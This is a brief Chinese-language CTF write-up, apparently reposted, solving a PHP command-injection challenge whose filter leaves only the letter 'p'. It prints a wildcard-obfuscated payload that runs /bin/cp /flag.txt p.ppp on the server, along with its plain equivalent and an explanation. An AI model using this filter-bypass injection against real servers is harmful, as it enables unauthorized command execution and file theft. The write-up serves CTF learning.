打开链接查看源码给了提示
get传入cmd参数，那么随便赋一个值，试试有什么
给出了源码
发现把能过滤的都过滤了，但是小写字母“p”没有被过滤，那需要从这里入手
但是怎么做真的不会了，查看一下大佬的博客也简单，就是用模糊匹配，将falg.txt复制到p.ppp,然后在访问url/p.ppp就可下载到flag了
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
<?=是echo()的别名用法，不需要开启short_open_tag。?>把前面的<?php闭合掉
最后的到p.ppp文件打开得到flag
本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。
